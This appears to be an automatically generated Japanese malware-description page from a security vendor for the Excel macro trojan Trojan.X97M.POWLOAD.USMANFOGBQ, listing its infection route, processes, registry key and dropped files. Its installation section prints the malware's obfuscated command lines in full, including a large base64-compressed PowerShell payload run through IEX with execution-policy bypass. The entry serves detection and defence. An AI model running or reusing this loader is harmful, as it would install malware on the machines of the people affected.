Trojan.X97M.POWLOAD.USMANFOGBQ

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のプロセスを追加します。

• cmd /C"set ByQG= ^&( ([StRInG]$VerbOsepRefeRENce)[1,3]+'X'-jOin'')( nEW-OBjeCT sYStEm.IO.StREAMREADer(( nEW-OBjeCT SYSteM.iO.cOmpResSIoN.DeflAtEStReAm([SyStem.io.MemOrySTrEAM][COnvert]::frOMBaSE64StriNG('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' ) , [iO.COMPrESsion.comPresSionmoDE]::DecompREsS)) , [Text.EncOdING]::ascIi)).reaDtOenD() && SeT hSY=EcHo ieX ([ENVIROnMeNT]::geTEnVIRONmeNtVaRIABle('bYQG','p
• cmd /C%hSY%
• %System%\cmd.exe /S /D /c" EcHo ieX ([ENVIROnMeNT]::geTEnVIRONmeNtVaRIABle('bYQG','procEsS')) "
• %System%\WindowsPowerShell\v1.0\powershell.exe poWERShElL -eXEcuTIonpol bYPAsS -wiNdOwstY 001 -noP -noNINTEr $inpuT |.( $SHelLiD[1]+$ShELlID[13]+'x')

他のシステム変更

マルウェアは、以下のレジストリ値を追加します。

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\
Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}
(Default) = ""

作成活動

マルウェアは、以下のファイルを作成します。

• %User Temp%\7353741.od
• %AppDataLocal%\GDIPFONTCACHEV1.DAT
• {malware file path and name}

(註：%User Temp%フォルダは、現在ログオンしているユーザの一時フォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザー名＞\Local Settings\Temp"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local\Temp" です。. %AppDataLocal%フォルダは、ローカルアプリケーションデータフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local" です。)

このウイルス情報は、自動解析システムにより作成されました。